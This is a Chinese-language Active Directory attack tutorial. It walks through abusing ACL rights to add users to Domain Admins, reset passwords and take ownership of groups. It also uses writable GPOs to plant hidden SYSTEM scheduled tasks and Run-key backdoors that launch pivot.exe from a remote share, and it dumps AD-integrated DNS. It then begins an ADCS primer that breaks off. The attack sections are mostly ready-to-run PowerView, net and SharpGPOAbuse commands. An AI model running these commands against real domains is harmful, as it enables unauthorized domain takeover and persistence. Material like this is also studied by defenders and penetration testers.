Get-ObjectAcl -ResolveGUIDs | ? {$_.objectdn -eq " CN=Domain Admins,CN=Users,DC=vvvv1,DC=com"}

nvllwh11ceu11799.png

发现spotless用户拥有对Domain Admins组的GenericAll权限,可以进行攻击。

将自己(用户spotless)或其他用户添加到Domain Admin组中。

net group "domain admins" spotless /add /domain

也可以使用 Active Directory 或 PowerSploit 模块进行攻击。

# with active directory module

Add-ADGroupMember -Identity "domain admins" -Members spotless

# with Powersploit

Add-NetGroupUser -UserName spotless -GroupName "domain admins" -Domain "offense.local"

对机器账户或服务账户的GenericAll权限
  1. 如果对机器账户或服务账户具有GenericAll权限或者GenericWrite权限,可以考虑使用基于资源的约束委派攻击,详情见《内网横向移动-基于资源的约束委派》;
  2. 对于服务账户也可以考虑上文中的对用户账户的攻击方法;
  3. 或者使用Shadow Credentials进行攻击;

影子凭证

https://book.hacktricks.xyz/windows-hardening/active-directory-methodology/acl-persistence-abuse/shadow-credentials

https://posts.specterops.io/shadow-credentials-abusing-key-trust-account-mapping-for-takeover-8ee1a53566ab

http://www.hackdig.com/02/hack-599160.htm

https://shenaniganslabs.io/2019/01/28/Wagging-the-Dog.html

WriteProperty
对用户组的WriteProperty权限

我们的受控用户对domain admins组有WriteProperty权限。

qjgtoagrjow11802.png

可以将该用户添加进入domain admins组来提升权限。

powershell -exec bypass

Import-Module .\PowerView.ps1

Add-NetGroupUser -UserName user -GroupName "domain admins" -Domain "vvvv1.com"

Self (Self-Membership)
对用户组的Self (Self-Membership)权限

我们的受控用户对domain admins组有Self (Self-Membership)的权限。

fqx45lnemd411806.png

这个权限也是可以将用户添加进入组的权限,可以将该用户添加进入domain admins组来提升权限。

powershell -exec bypass

Import-Module .\PowerView.ps1

Add-NetGroupUser -UserName user -GroupName "domain admins" -Domain "vvvv1.com"

"WriteProperty (Self-Membership)" 和 "Self (Self-Membership)" 都是与自成员(Self-Membership)相关的属性,但它们在含义上有所不同。

  1. "WriteProperty (Self-Membership)": 这个属性表示对象能够写入(修改)自身的属性。通常情况下,对象只能修改其他对象的属性,而不能直接修改自己的属性。但当设置了"WriteProperty (Self-Membership)"属性时,对象就可以修改自己的属性。
  2. "Self (Self-Membership)": 这个属性表示对象本身是其所在组或集合的成员。它与"WriteProperty (Self-Membership)"属性不同。"Self (Self-Membership)"属性表明对象本身是自己所在组或集合的一个成员,而"WriteProperty (Self-Membership)"属性则表明对象拥有修改自身属性的权限。

总结:也就是说,如果对象类型不是ALL,而是Self-Membership,那么就代表,我们查询的这个用户对象是属于这个用户组的。 其中"WriteProperty (Self-Membership)"属性赋予对象修改自身属性的权限,也就可以将该对象加入组;而"Self (Self-Membership)"属性指示对象本身是其所在组或集合的成员,也可以将该对象加入组。

WriteProperty (Self-Membership)
对用户组的WriteProperty (Self-Membership)权限

我们的受控用户对domain admins组有WriteProperty (Self-Membership)的权限。

Get-ObjectAcl -ResolveGUIDs | ? {$_.objectdn -eq "CN=Domain Admins,CN=Users,DC=offense,DC=local" -and $_.IdentityReference -eq "OFFENSE\spotless"}

irgainsrzzw11811.png

这个权限也是可以将用户添加进入组的权限,可以将该用户添加进入domain admins组来提升权限。

net group "domain admins" spotless /add /domain

"WriteProperty (Self-Membership)" 和 "Self (Self-Membership)" 都是与自成员(Self-Membership)相关的属性,但它们在含义上有所不同。

  1. "WriteProperty (Self-Membership)": 这个属性表示对象能够写入(修改)自身的属性。通常情况下,对象只能修改其他对象的属性,而不能直接修改自己的属性。但当设置了"WriteProperty (Self-Membership)"属性时,对象就可以修改自己的属性。
  2. "Self (Self-Membership)": 这个属性表示对象本身是其所在组或集合的成员。它与"WriteProperty (Self-Membership)"属性不同。"Self (Self-Membership)"属性表明对象本身是自己所在组或集合的一个成员,而"WriteProperty (Self-Membership)"属性则表明对象拥有修改自身属性的权限。

总结:也就是说,如果对象类型不是ALL,而是Self-Membership,那么就代表,我们查询的这个用户对象是属于这个用户组的。 其中"WriteProperty (Self-Membership)"属性赋予对象修改自身属性的权限,也就可以将该对象加入组;而"Self (Self-Membership)"属性指示对象本身是其所在组或集合的成员,也可以将该对象加入组。

ForceChangePassword
对用户账户的ForceChangePassword权限

如果我们的所控账户在目标账户的ACL中为"User-Force-Change-Password"对象类型,且具有"ExtendedRight"权限,那么我们可以在不知道用户当前密码的情况下重置用户的密码。

powershell -exec bypass

Import-Module .\PowerView.ps1

Get-ObjectAcl -SamAccountName delegate -ResolveGUIDs | ? {$_.IdentityReference -eq "OFFENSE\spotless"}

wq44qvpnh1311814.png

使用工具PowerView修改密码。

Set-DomainUserPassword -Identity delegate -Verbose

mnpn2irsfik11819.png

或者使用如下语句

$c = Get-Credential

Set-DomainUserPassword -Identity delegate -AccountPassword $c.Password -Verbose

或者总结成单行语句

Set-DomainUserPassword -Identity delegate -AccountPassword (ConvertTo-SecureString '123456' -AsPlainText -Force) -Verbose

vv5hh2kybut11824.png

WriteOwner
对用户组的WriteOwner权限

在进行攻击之前,域管理员组Domain Admins的所有者是Domain Admins。

3scc04f10lj11828.png

在对某个组的ACE进行枚举之后,如果我们发现一个受我们控制的用户spotless具有"WriteOwner"权限并且该权限适用于"ObjectType:All",那么就可以修改该组的所有者。

Get-ObjectAcl -ResolveGUIDs | ? {$_.objectdn -eq "CN=Domain Admins,CN=Users,DC=offense,DC=local" -and $_.IdentityReference -eq "OFFENSE\spotless"}

ralxc4ef4j111832.png

我们可以将"Domain Admins"对象的所有者更改为我们的用户,这在我们的情况下是"spotless"。需要注意的是,使用"-Identity"指定的SID是"Domain Admins"组的SID。

Set-DomainObjectOwner -Identity S-1-5-21-2552734371-813931464-1050690807-512 -OwnerIdentity "spotless" -Verbose

//You can also use the name instad of the SID (HTB: Reel)

Set-DomainObjectOwner -Identity "Domain Admins" -OwnerIdentity "spotless"

GenericWrite

GenericWrite也是在Access Mask中进行标识,此权限能够更新目标对象的属性值,可以使用PowerView中的Set-DomainObject方法设置目标属性的值。

对用户账户的GenericWrite权限

Get-ObjectAcl -ResolveGUIDs -SamAccountName delegate | ? {$_.IdentityReference -eq "OFFENSE\spotless"}

所控用户spotless对另一个用户delegate拥有"WriteProperty"权限,且该权限适用于"Script-Path"对象类型。它允许攻击者覆盖delegate用户的登录脚本路径,这意味着下一次当delegate用户登录时,他们的系统将执行我们恶意的脚本。

5u5huloa1j211836.png

Set-ADObject -SamAccountName delegate -PropertyName scriptpath -PropertyValue "\\10.0.0.5\totallyLegitScript.ps1"

可以看到delegate用户的登录脚本字段在AD中被更新。

d4o1p2541us11838.png

对用户组的GenericWrite权限

允许您将新用户(例如您自己)添加为组的成员。与上文中《GenericAll-对用户组的GenericAll权限》操作类似。

https://book.hacktricks.xyz/windows-hardening/active-directory-methodology/acl-persistence-abuse

# Create creds

$pwd = ConvertTo-SecureString 'JustAWeirdPwd!$' -AsPlainText -Force

$creds = New-Object System.Management.Automation.PSCredential('DOMAIN\username', $pwd)

# Add user to group

Add-DomainGroupMember -Credential $creds -Identity 'Group Name' -Members 'username' -Verbose

# Check user was added

Get-DomainGroupMember -Identity "Group Name" | Select MemberName

# Remove group member

Remove-DomainGroupMember -Credential $creds -Identity "Group Name" -Members 'username' -Verbose

WriteDACL + WriteOwner

如果有一个组为test,你是该组的所有者。

xmt4urostll11855.png

或者使用PowerShell。

([ADSI]"LDAP://CN=test,CN=Users,DC=offense,DC=local").PSBase.get_ObjectSecurity().GetOwner([System.Security.Principal.NTAccount]).Value

2ipgtaviius11865.png

您可以使用ADSI(Active Directory Service Interfaces)为自己赋予GenericAll权限。

$ADSI = [ADSI]"LDAP://CN=test,CN=Users,DC=offense,DC=local"

$IdentityReference = (New-Object System.Security.Principal.NTAccount("spotless")).Translate([System.Security.Principal.SecurityIdentifier])

$ACE = New-Object System.DirectoryServices.ActiveDirectoryAccessRule $IdentityReference,"GenericAll","Allow"

$ADSI.psbase.ObjectSecurity.SetAccessRule($ACE)

$ADSI.psbase.commitchanges()

这样意味着您现在完全控制该组。

0kj4ecurxti11872.png

这实际上意味着您现在可以将新用户添加到该组中。

但是,好像无法使用Active Directory模块和Set-Acl / Get-Acl cmdlets来赋予权限。

$path = "AD:\CN=test,CN=Users,DC=offense,DC=local"

$acl = Get-Acl -Path $path

$ace = new-object System.DirectoryServices.ActiveDirectoryAccessRule (New-Object System.Security.Principal.NTAccount "spotless"),"GenericAll","Allow"

$acl.AddAccessRule($ace)

Set-Acl -Path $path -AclObject $acl

xe0mw2eejy411880.png

组策略配置(GPO)

GPO是Group Policy Object(组策略对象)的缩写。它是Windows操作系统中的一种管理机制,用于集中管理和配置计算机和用户的操作系统设置。GPO允许系统管理员通过集中的策略定义和管理组织内计算机和用户的行为。

GPO主要用于:

  1. 配置操作系统设置:可以使用GPO来配置计算机和用户的各种操作系统设置,如安全设置、网络设置、注册表项、文件和文件夹权限等。
  2. 分发软件安装:可以使用GPO将软件应用程序自动安装在用户或计算机上,从而简化软件部署和更新过程。
  3. 实施安全策略:可以使用GPO来强制实施安全策略,例如密码策略、帐户锁定策略、防火墙设置等,以增强系统的安全性。
  4. 管理用户配置:可以使用GPO来管理用户配置,例如映射网络驱动器、配置桌面设置、限制软件使用等。

GPO是通过在Active Directory域环境中创建和链接到特定OU(组织单位)来实现的。管理员可以使用Group Policy Management Console(GPMC)工具来创建、编辑和管理GPO,并将其链接到特定的OU,以便将策略应用于特定的组织单位、用户组或计算机组。

有时候,特定的用户或组可能被授权管理组策略对象,就像"WP"用户一样。

qzhrujxxen011898.png

也可以通过PowerView来进行查看。

powershell -exec bypass

Import-Module .\PowerView.ps1

Get-ObjectAcl -ResolveGUIDs | ? {$_.IdentityReference -eq "VVVV1\WP"}

以下内容显示用户 "OFFENSE\spotless" 具有 WriteProperty、WriteDacl、WriteOwner 等权限,这些权限可能被攻击者利用。

y4y5yz2w03011901.png

枚举域内所有的GPO。

powershell -exec bypass

Import-Module .\PowerView.ps1

Get-DomainGPO

gxrx1shtmkt11908.png

如果我们想要专门搜索配置错误的 GPO,我们可以像下面这样串联多个来自 PowerSploit 的 cmdlet。

Get-NetGPO | %{Get-ObjectAcl -ResolveGUIDs -Name $_.Name} | ? {$_.IdentityReference -eq "OFFENSE\spotless"}

jjkxcvxreqb11911.png

给定策略查询对应计算机

Get-NetOU -GUID "{C9F46A61-773B-41A7-8AB0-5C65866D13EC}" | % {Get-NetComputer -ADSpath $_}

yeji3hgisqz11915.png

给定计算机查询其策略

Get-DomainGPO -ComputerIdentity ws01 -Properties Name, DisplayName

zkaof0nrunn11918.png

给定策略查询对应的OU

Get-DomainOU -GPLink "{DDC640FF-634A-4442-BC2E-C05EED132F0C}" -Properties DistinguishedName

vnyhwyuc4jx11921.png

利用GPO权限进行攻击
  1. 滥用这种错误配置并进行代码执行的一种方式是通过组策略创建即时计划任务

利用三好学生的PowerShell脚本New-GPOImmediateTask.ps1进行攻击

https://github.com/3gstudent/Homework-of-Powershell/tree/master

由于脚本需要使用到PowerShell中的GroupPolicy模块,因此需要在服务管理器中安装远程服务器管理工具(RSAT)。

New-GPOImmediateTask -TaskName evilTask -Command cmd -CommandArguments "/c net localgroup administrators man1 /add" -GPODisplayName "newGPO" -Verbose

h2ke4un021q11924.png

上述操作将用户"spotless"添加到受损系统的本地管理员组。请注意,在执行代码之前,本地管理员组不包含用户"spotless"。

net localgroup administrators

zhdyujp2a4w11927.png

如果我们观察Misconfigured Policy的GPO的计划任务,我们可以看到我们的恶意任务(evilTask)在那里。

xyltvznszau11929.png

以下是由New-GPOImmediateTask创建的XML文件,它代表了我们在GPO中的恶意计划任务。

<?xml version="1.0" encoding="utf-8"?>
<ScheduledTasks clsid="{CC63F200-7309-4ba0-B154-A71CD118DBCC}">
  <ImmediateTaskV2 clsid="{9756B581-76EC-4169-9AFC-0CA8D43ADB5F}" name="evilTask" image="0" changed="2018-11-20 13:43:43" uid="{6cc57eac-b758-4c52-825d-e21480bbb47f}" userContext="0" removePolicy="0">
    <Properties action="C" name="evilTask" runAs="NT AUTHORITY\System" logonType="S4U">
      <Task version="1.3">
        <RegistrationInfo>
          <Author>NT AUTHORITY\System</Author>
          <Description></Description>
        </RegistrationInfo>
        <Principals>
          <Principal id="Author">
            <UserId>NT AUTHORITY\System</UserId>
            <RunLevel>HighestAvailable</RunLevel>
            <LogonType>S4U</LogonType>
          </Principal>
        </Principals>
        <Settings>
          <IdleSettings>
            <Duration>PT10M</Duration>
            <WaitTimeout>PT1H</WaitTimeout>
            <StopOnIdleEnd>true</StopOnIdleEnd>
            <RestartOnIdle>false</RestartOnIdle>
          </IdleSettings>
          <MultipleInstancesPolicy>IgnoreNew</MultipleInstancesPolicy>
          <DisallowStartIfOnBatteries>false</DisallowStartIfOnBatteries>
          <StopIfGoingOnBatteries>true</StopIfGoingOnBatteries>
          <AllowHardTerminate>false</AllowHardTerminate>
          <StartWhenAvailable>true</StartWhenAvailable>
          <AllowStartOnDemand>false</AllowStartOnDemand>
          <Enabled>true</Enabled>
          <Hidden>true</Hidden>
          <ExecutionTimeLimit>PT0S</ExecutionTimeLimit>
          <Priority>7</Priority>
          <DeleteExpiredTaskAfter>PT0S</DeleteExpiredTaskAfter>
          <RestartOnFailure>
            <Interval>PT15M</Interval>
            <Count>3</Count>
          </RestartOnFailure>
        </Settings>
        <Actions Context="Author">
          <Exec>
            <Command>cmd</Command>
            <Arguments>/c net localgroup administrators spotless /add</Arguments>
          </Exec>
        </Actions>
        <Triggers>
          <TimeTrigger>
            <StartBoundary>%LocalTimeXmlEx%</StartBoundary>
            <EndBoundary>%LocalTimeXmlEx%</EndBoundary>
            <Enabled>true</Enabled>
          </TimeTrigger>
        </Triggers>
      </Task>
    </Properties>
  </ImmediateTaskV2>
</ScheduledTasks>

通过滥用GPO(组策略)的用户和组功能,可以实现相同的权限提升。

请注意,在下面的文件中,第6行将用户"spotless"添加到本地管理员组 - 我们可以将用户更改为其他用户,添加另一个用户,甚至将用户添加到另一个组/多个组,因为我们可以修改显示位置的策略配置文件,这是由于GPO委派分配给了我们的用户"spotless"。

<?xml version="1.0" encoding="utf-8"?>
<Groups clsid="{3125E937-EB16-4b4c-9934-544FC6D24D26}">
    <Group clsid="{6D4A79E4-529C-4481-ABD0-F5BD7EA93BA7}" name="Administrators (built-in)" image="2" changed="2018-12-20 14:08:39" uid="{300BCC33-237E-4FBA-8E4D-D8C3BE2BB836}">
        <Properties action="U" newName="" description="" deleteAllUsers="0" deleteAllGroups="0" removeAccounts="0" groupSid="S-1-5-32-544" groupName="Administrators (built-in)">
            <Members>
                <Member name="spotless" action="ADD" sid="" />
            </Members>
        </Properties>
    </Group>
</Groups>

另外,我们还可以考虑利用登录/注销脚本、使用注册表进行自动运行、安装.msi文件、编辑服务以及类似的代码执行途径。

  1. GroupPolicy 模块

可以使用命令"Get-Module -List -Name GroupPolicy | select -expand ExportedCommands"来检查是否安装了GroupPolicy模块。如果需要,你可以使用命令"Install-WindowsFeature –Name GPMC"作为本地管理员安装它。

创建新的组策略对象(GPO)并将其与OU(组织单位)"Workstations"关联。

New-GPO -Name "Evil GPO" | New-GPLink -Target "OU=Workstations,DC=dev,DC=domain,DC=io"

让位于"Workstations" OU内的计算机创建一个新的注册表键,该键将执行一个后门程序。

在共享文件夹中搜索一个既可以写入又可以被所有受影响的计算机读取的位置。

Set-GPPrefRegistryValue -Name "Evil GPO" -Context Computer -Action Create -Key "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" -ValueName "Updater" -Value "%COMSPEC% /b /c start /b /min \\dc-2\software\pivot.exe" -Type ExpandString

  • -Name "Evil GPO": 指定了要操作的组策略对象的名称为"Evil GPO"。
  • -Context Computer: 指定了操作的上下文为计算机级别的首选项。
  • -Action Create: 指定了创建注册表值。
  • -Key "HKLM\Software\Microsoft\Windows\CurrentVersion\Run": 指定了注册表键的路径为"HKLM\Software\Microsoft\Windows\CurrentVersion\Run",即在计算机启动时执行的自动运行程序列表。
  • -ValueName "Updater": 指定了注册表值的名称为"Updater",这将是用于后门执行的程序的标识。
  • -Value "%COMSPEC% /b /c start /b /min \\dc-2\software\pivot.exe": 指定了注册表值的数据,即要执行的后门程序的命令行。
  • -Type ExpandString: 指定了注册表值的类型为ExpandString,以便正确解释并扩展其中的环境变量。
  1. SharpGPOAbuse

https://github.com/FSecureLABS/SharpGPOAbuse

使用工具SharpGPOAbuse进行攻击。但是该工具无法创建GPO,因此我们仍然必须使用RSAT创建GPO或修改我们已经具有写访问权限的GPO。

SharpGPOAbuse.exe --AddComputerTask --TaskName "Install Updates" --Author NT AUTHORITY\SYSTEM --Command "cmd.exe" --Arguments "/c \\dc-2\software\pivot.exe" --GPOName "PowerShell Logging"

强制策略更新

之前的恶意GPO更新大约每90分钟重新加载一次。如果您可以访问计算机,您可以使用命令来强制刷新GPO。

gpupdate /force

End

For GPO attacks,I think it have some ways to delve deeper.

These are several articles that can be used for learning.

  • https://xz.aliyun.com/t/7289#toc-0
  • https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/abusing-active-directory-acls-aces
  • https://wald0.com/?p=112
  • https://learn.microsoft.com/en-us/dotnet/api/system.directoryservices.activedirectoryrights?view=netframework-4.7.2
  • https://blog.fox-it.com/2018/04/26/escalating-privileges-with-acls-in-active-directory/
  • https://adsecurity.org/?p=3658
  • https://learn.microsoft.com/en-us/dotnet/api/system.directoryservices.activedirectoryaccessrule.-ctor?view=netframework-4.7.2#System_DirectoryServices_ActiveDirectoryAccessRule__ctor_System_Security_Principal_IdentityReference_System_DirectoryServices_ActiveDirectoryRights_System_Security_AccessControl_AccessControlType_

AD DNS Records

默认情况下,Active Directory中的任何用户都可以枚举域或林DNS区域中的所有DNS记录,类似于区域传输(用户可以在AD环境中列出DNS区域的子对象)。

https://dirkjanm.io/getting-in-the-zone-dumping-active-directory-dns-with-adidnsdump/

使用工具adidnsdump可以枚举和导出区域中的所有 DNS 记录,以用于内部网络的侦察目的。

git clone https://github.com/dirkjanm/adidnsdump

cd adidnsdump

pip install.

adidnsdump -u domain_name\\username ldap://10.10.10.10 -r

cat records.csv

m2yegftmj3011933.png

在LDAP中查询DNS记录最直接的方式是执行选择所有类别为dnsNode的对象的查询,这些对象代表DNS区域中的条目。但是,当我使用过滤器**(objectClass=dnsNode)**进行查询时,返回的结果非常有限,即使我手动浏览到DNS区域时可以看到更多的记录。

tqo0gmudqc311935.png

如上图所示,对于几个对象,objectClass是不可见的。这是因为计算机DNS记录的默认权限(我认为其他不通过AD DNS GUI创建的记录也是如此)不允许所有用户查看内容。由于IP地址实际上是作为此对象的属性存储的,因此无法查看这些记录的IP地址。

但是,就像任何用户默认情况下都可以创建新的DNS记录一样,默认情况下任何用户也可以列出DNS区域的子对象。因此,我们知道记录存在,只是无法使用LDAP进行查询。

dvjytcqfjyl11938.png

一旦我们通过LDAP枚举确定记录存在,我们可以直接使用DNS进行查询(因为执行常规的DNS查询不需要特权)。通过这种方式,我们可以解析区域中的所有记录。

使用adidnsdump可以列举DNS区域中的所有记录。

要开始操作,请先使用--print-zones选项显示当前所在域中的区域。这将显示存在哪些区域。并非所有的区域都是有趣的,例如正向、缓存和存根区域并不包含该域的所有记录。如果找到了这些区域,最好查询它们实际所属的域。下面的输出显示我的测试域只有默认的区域。

adidnsdump -u VVVV1\\man1 ldap://10.10.10.10 --print-zones

0qurmgdu3iw11940.png
如果我们在工具中指定区域(或者对于默认区域将其留空),我们将获得所有记录的列表。可以列出但无法读取的记录(称为“隐藏”记录)将显示为问号,因为目前不知道存在哪种类型的记录以及它指向何处。所有记录都保存在名为records.csv的文件中。

yps5lk0z02r11943.png

要解析未知记录,请指定-r标志,这将为所有未知记录执行A查询(如果您在IPv6网络中,可以在代码中轻松更改为AAAA)。现在许多以前为空的节点突然有了记录。

如果您没有直接连接,而是通过代理进行工作,您可以通过socks代理将工具代理,并使用**--dns-tcp**标志通过TCP执行DNS查询。

adidnsdump -u VVVV1\\man1 ldap://10.10.10.10 --dns-tcp

4t5czh55yy511946.png

AD Certificates

https://specterops.io/wp-content/uploads/sites/3/2022/06/Certified_Pre-Owned.pdf

https://zhuanlan.zhihu.com/p/402961562

https://blog.csdn.net/heisejiuhuche/article/details/129224570

https://cloud.tencent.com/developer/article/2013603

https://zhuanlan.zhihu.com/p/383587237

https://cloud.tencent.com/developer/article/1937718

https://www.cnblogs.com/mtgold/p/15665575.html

AD Certificates,指的是Active Directory 证书服务。首先我们要了解什么是 Active Directory 证书服务(Active Directory Certificate Service - 以下简称 AD CS)。证书服务,用官方的解释说,是微软的 PKI 系统的实现,早些时候,多用于 Active Directory 内智能卡(smart card)的登录鉴权。发展到现在,已经成为了 AD 环境中各个主体的另外一种鉴权方式(如 Windows Hello For Business)。

这里的证书,指的是 X.509 格式的电子文档,可以被用于加密,信息签名,以及鉴权。在域环境中,这张证书就是将一个主体与其 Public/Private 密钥对绑定。那么,域控就可以使用这个主体的密钥,来决定是否给这个主体分发 TGT。

证书相较于现有的 AD 权限维持或者提权的方式,如增加管理员用户,修改用户密码,黄金、白银票据等,有更加隐秘,更加持久的优势。更加隐秘是因为证书利用相对于其他敏感操作,相对难以被探测和发现(不触及 LSASS 等);更加持久是因为证书的默认过期时间是 5 年,而且不会随着主体密码的改变而失效。

证书的组成部分

  • 主题(Subject)- 证书的所有者。
  • 公钥(Public Key)- 将主题与单独存储的私钥关联起来。
  • NotBefore 和 NotAfter 日期 - 定义证书的有效期限。
  • 序列号(Serial Number)- 由证书颁发机构(CA)分配的证书标识符。
  • 颁发者(Issuer)- 标识谁颁发了证书(通常是一个CA)。
  • SubjectAlternativeName - 定义主题可能使用的一个或多个替代名称。
  • 基本约束(Basic Constraints)- 识别证书是CA还是终端实体,并在使用证书时是否存在任何限制。
  • 扩展密钥用途(EKUs)- 对象标识符(OIDs),用于描述证书的使用方式。也称为 Microsoft 术语中的 Enhanced Key Usage。常见的 EKU OIDs 包括:
  • 代码签名(OID 1.3.6.1.5.5.7.3.3)- 证书用于对可执行代码进行签名。
  • 加密文件系统(OID 1.3.6.1.4.1.311.10.3.4)- 证书用于加密文件系统。
  • 安全电子邮件(1.3.6.1.5.5.7.3.4)- 证书用于加密电子邮件。
  • 客户端身份验证(OID 1.3.6.1.5.5.7.3.2)- 证书用于对另一个服务器进行身份验证(例如,对 Active Directory 进行身份验证)。
  • 智能卡登录(OID 1.3.6.1.4.1.311.20.2.2)- 证书用于智能卡身份验证。
  • 服务器身份验证(OID 1.3.6.1.5.5.7.3.1)- 证书用于识别服务器(例如,HTTPS 证书)。
  • 签名算法(Signature Algorithm)- 指定用于签署证书的算法。
  • 签名(Signature)- 使用颁发者(例如CA)的私钥对证书体进行签名。

ADCS概念

  • PKI (Public Key Infrastructure) - PKI 是一整套证书签发、管理的系统。主要包括 CA(Certificate Authority),RA(Registration Authority),Certificate Store,and Certificate database
  • Certificate Store - Windows 本地证书存储,请求到的证书将存储在 Certificate Store 中
  • AD CS(Active Directory Certificate Service)- 微软为 AD 环境打造的 PKI 系统,来管理域内的证书签发和鉴权
  • CA(Certificate Authority)- 签发证书的服务
  • Enterprise CA - 与域集成的 CA 系统(通常会被配置在域中单独的服务器上),包含证书签发、证书模板等服务
  • CSR(Certificate Signing Request)- 向 CA 系统发送的证书签发的请求
  • EKU(Extended/Enhanced Key Usage)- Object Identifiers(OIDs),规定了签发证书的用途(是用来加密文件,或者主体鉴权等)
  • SAN(Subject Alternative Name)- 可以为一张证书绑定多个身份信息;比如 HTTPS 证书中就可以绑定多个域名,而不需要为每个域名都单独申请一张证书
  • UPN(User Principal Name)- 域中的证书是与 UPN 绑定的(这张证书是张三的,用于张三同学的鉴权),同时鉴权的主体也是是通过 UPN 来确定的;如果黑客控制了 SAN,在特定情况下,也就能 impersonate 任意用户
  • Principal - 域中的主体,可以是用户,也可以是服务
  • Certificate Template - 证书模板;Enterprise CA 签发的证书都是根据模板来生成;模板包含这张证书的元信息,如签发规则,谁有权限使用这个模板,证书的有效期,证书主体是谁,证书主体如何定义等等;Enterprise CA 会根据这些元信息来决定是否可以签发证书,以及签发什么样的证书

**主题备用名称(Subject Alternative Names,SAN)**是一种X.509v3扩展。它允许将附加身份与证书绑定。例如,如果一个Web服务器托管多个域的内容,每个适用的域都可以包含在SAN中,这样Web服务器只需要一个HTTPS证书。 默认情况下,在基于证书的身份验证期间,AD根据SAN中指定的UPN将证书映射到用户帐户。如果攻击者可以在请求启用客户端身份验证的证书时指定任意的SAN,并且CA使用攻击者提供的SAN创建和签署证书,那么攻击者可以成为域中的任何用户。

AD CS(Active Directory Certificate Services)在CN=Public Key Services,CN=Services,CN=Configuration,DC=<domain>,DC=<com>容器下定义了AD域信任的CA证书,其目的有四个不同的位置:

  1. Certification Authorities容器定义受信任的根CA证书。这些CA位于PKI树层次结构的顶部,并且是AD CS环境中信任的基础。每个CA都表示为容器内的AD对象,其中objectClass设置为certificationAuthority,cACertificate属性包含CA证书的字节。Windows将这些CA证书传播到每台Windows计算机上的可信根证书颁发机构存储区。为了让AD将证书视为受信任的,证书的信任链必须最终以此容器中定义的一个根CA结束。
  2. 注册服务容器为每个企业CA(即在启用了Enterprise CA角色的AD CS中创建的CA)定义了一个AD对象,具有以下属性:
  • 一个pKIEnrollmentService对象类属性
  • 包含CA证书字节的cACertificate属性
  • dNSHostName属性设置CA的DNS主机名
  • certificateTemplates字段定义了启用的证书模板。证书模板是CA在创建证书时使用的设置的“蓝图”,包括EKUs、注册权限、证书过期、签发要求和密码设置等。稍后我们将详细讨论证书模板。

在AD环境中,客户端与企业CA进行交互,根据证书模板中定义的设置请求证书。企业CA证书被传播到每台Windows计算机上的Intermediate Certification Authorities证书存储区。

  1. NTAuthCertificates AD对象定义了启用对AD的身份验证的CA证书。该对象的objectClass为certificationAuthority,对象的cACertificate属性定义了一组受信任的CA证书。加入AD域的Windows计算机将这些CA传播到每台计算机上的Intermediate Certification Authorities证书存储区。只有由NTAuthCertificates对象定义的一个CA签署了进行身份验证的客户端证书,客户端应用程序才能使用证书进行对AD的身份验证。
  2. AIA(Authority Information Access)容器包含中间和交叉CA的AD对象。中间CA是PKI树层次结构中根CA的“子级”,因此该容器存在以帮助验证证书链。与Certification Authorities容器类似,每个CA都表示为AIA容器中的AD对象,其中objectClass属性设置为certificationAuthority,cACertificate属性包含CA证书的字节。这些CA被传播到每台Windows计算机上的Intermediate Certification Authorities证书存储区。

客户端证书请求流程

  1. 这是从AD CS获取证书的过程。在较高级别上,在注册期间,客户端首先根据注册服务容器中的对象找到一个企业CA。
  2. 然后,客户端生成一个公私钥对,并将公钥与证书签名请求(CSR)消息一起放置,其中还包括证书的主题和证书模板名称等其他详细信息。
  3. 然后,客户端使用其私钥对CSR进行签名,并将CSR发送到企业CA服务器。 CA服务器检查客户端是否可以请求证书。如果可以,它将通过查找CSR中指定的证书模板AD对象来确定是否发放证书。 CA将检查证书模板AD对象的权限,以判断验证帐户是否可以获取证书。
  4. 如果是这样,CA将使用证书模板定义的“蓝图”设置(例如,EKUs、加密设置和发行要求),并根据CSR中提供的其他信息(如果证书的模板设置允许)生成证书。 CA使用自己的私钥对证书进行签名,然后将其返回给客户端。

p3ndeyki04i11950.png

证书模板

AD CS将可用的证书模板作为具有pKICertificateTemplate对象类的AD对象存储在以下容器中:

CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=<domain>,DC=<com>

AD证书模板对象的属性定义了其设置,其安全描述符控制谁可以注册证书或编辑证书模板。

AD证书模板对象上的pKIExtendedKeyUsage属性包含在模板中启用的OID数组。这些扩展密钥用途(EKU)OIDs影响证书的使用方式。你可以在这里找到可能的OID列表。

https://www.pkisolutions.com/object-identifiers-oid-in-pki/

cof0rojkc5y11955.png

证书注册

管理员需要创建证书模板,然后企业CA将该模板“发布”,使其可供客户端注册。AD CS规定,在企业CA上启用证书模板是通过将模板名称添加到AD对象的certificatetemplates字段来实现的。

ns2oodpb50k11960.png

AD CS使用两个安全描述符定义注册权限-哪些主体可以请求证书:一个在证书模板AD对象上,另一个在企业CA本身上。 客户端需要在这两个安全描述符中都被授权,才能够请求证书。

证书模板注册权限

  1. ACE授予主体证书注册扩展权限(the Certificate-Enrollment extended right)。原始ACE授予主体RIGHT_DS_CONTROL_ACCESS45访问权限,其中ObjectType设置为0e10c968-78fb-11d2-90d4-00c04f79dc5547。此GUID对应证书注册扩展权限。
  2. ACE授予主体证书自动注册扩展权限(the Certificate-AutoEnrollment extended right)。原始ACE授予主体RIGHT_DS_CONTROL_ACCESS48访问权限,其中ObjectType设置为a05b8cc2-17bc-4802-a710-e7c15ab866a249。此GUID对应证书自动注册扩展权限。
  3. ACE授予主体所有扩展权限(all ExtendedRights)。原始ACE启用RIGHT_DS_CONTROL_ACCESS访问权限,其中ObjectType设置为00000000-0000-0000-0000-000000000000。此GUID对应所有扩展权限。
  4. ACE授予主体FullControl/GenericAll权限。原始ACE启用FullControl/GenericAll访问权限。

企业CA的注册权限

企业CA上配置的安全描述符定义了这些权限,并且可以通过在证书颁发机构MMC插件certsrv.msc中右键单击CA → 属性 → 安全来查看该描述符。

j2can3z2xbv11966.png

这最终会在CA服务器上的注册表项HKLM\SYSTEM\CurrentControlSet\Services\CertSvc\Configuration<CA名称>中设置Security值。我们遇到过几个AD CS服务器,通过远程注册表将低特权用户授予对该键的远程访问权限。

xb51kwjfocl11971.png

低特权用户还可以使用ICertAdminD2 COM接口的GetCASecurity方法通过DCOM枚举此项。但是,正常的Windows客户端需要安装远程服务器管理工具(RSAT)才能使用它,因为COM接口及其实现它的任何COM对象默认情况下都不会存在于Windows上。

发布要求

管理批准

